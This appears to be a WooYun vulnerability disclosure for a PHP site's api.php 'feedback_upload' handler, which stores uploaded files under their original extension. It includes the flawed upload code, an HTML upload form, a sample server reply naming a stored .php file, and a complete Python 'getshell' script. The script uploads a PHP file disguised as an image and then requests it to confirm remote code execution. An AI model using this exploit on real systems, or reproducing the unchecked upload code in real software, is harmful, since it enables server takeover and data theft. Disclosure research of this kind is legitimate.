WooYun.org

api.php

<?php
ini_set("max_execution_time","1800");
include('include/config.php');
include('include/function.php');
include('include/class_mysql.php');
nocache();
$tcz=array(
'log'=>arg('log','all','url')
);
$db=new mysql();
switch($tcz['log']){
	...
	case 'feedback_upload':
		@$webdomain=$_SERVER['SERVER_NAME'];
		$website=db_getshow('website','*','setup_weburl="'.$webdomain.'"');
		echo $website['webid'];
		if(!$website){
			die('error');
			exit;
			}
		if($_FILES["file"]["error"]>0){
			echo '<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",msg:"error1"});</script>';
			exit;
		}else{
			$fsize=$_FILES['file']['size']/1024;
			if($fsize>5120){
				echo '<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",msg:"error2"});</script>';
				exit;
				}
			// 获取扩展名
			$typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
			// 组合文件名
			$filename=date('dHis').'_'.randomkeys(6).'.'.$typename;
			// 组合路径
			$path=setup_upfolder.$website['webid'].'/'.setup_uptemp.$filename; 
			// shell
			move_uploaded_file($_FILES['file']['tmp_name'],$path);
			echo '<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",file:"'.$filename.'"});</script>';
			}
	break;
	default:
		$url=$_SERVER["QUERY_STRING"];
		if($url!=''){
			$url=preg_replace('/^\//','',$url);
			gotourl($url);
			}
	break;
	}
?>

function arg($aname='log',$gtype='post',$atype='string',$len=0){
$val='';
switch($gtype){
	case "get":
		@$val=$_GET[$aname];
	break;
	case "post":
		@$val=$_POST[$aname];
	break;
	case "all":
		@$val=$_GET[$aname];
		if($val=='')@$val=$_POST[$aname];
	break;
	}
switch($atype){
	case 'int':
		if($val=='')$val='0';
		$val=sprintf('%.0f',$val);
	break;
	case 'num':
		$val=floatval($val);
		if($val<1)$val=1;
	break;
	case 'url':
		$val=trim($val);
		StopAttack($aname,$val,$gtype);
		$val=urldecode($val);
	break;
	case 'txt':
		$val=trim($val);
		StopAttack($aname,$val,$gtype);
		$val=urldecode($val);
		$val=htmlspecialchars($val);
	break;
	case 'rate':
		$val=urldecode($val);
		if($val=='')$val=0;
		$val=(float)$val;
		$val=sprintf('%.4f',$val);
	break;
	case 'decimal':
		$val=urldecode($val);
		if($val=='')$val=0;
		$val=(float)$val;
		$val=sprintf('%.'.goif($len,$len,2).'f',$val);
	break;
	case 'none':
	break;
	default:
		StopAttack($aname,$val,$gtype);
		$val=htmlspecialchars($val);
	break;
	}
return $val;
}

<form action="http://app.com/api.php?log=feedback_upload" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br><br>
<input type="submit" value="upload">
</form>

10001<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",file:"22170707_shhxyo.php"});</script>

#!/usr/bin/env python
#coding=utf-8
import requests
import re
def getshell(host):
	if not host.startswith('http://') and not host.startswith('https://'):
		url = 'http://' + host
	else:
		url = host
	files = {'file': ('x.php', open('e:\\ma\\php\\phpinfo.txt', 'rb'), 'image/png')}
	req = requests.post(url + '/api.php?log=feedback_upload', files = files)
	match = re.search(r'(\d{5}).*file:"(.*\.php)"', req.content)
	if match.group(1) and match.group(2):
		shell = '%s/upload/%s/temp/%s'%(url, match.group(1), match.group(2))
		req = requests.get(shell)
		if req.status_code == 200:
			print shell
	else:
		print match.group()
if __name__ == '__main__':
	getshell('http://app.com/')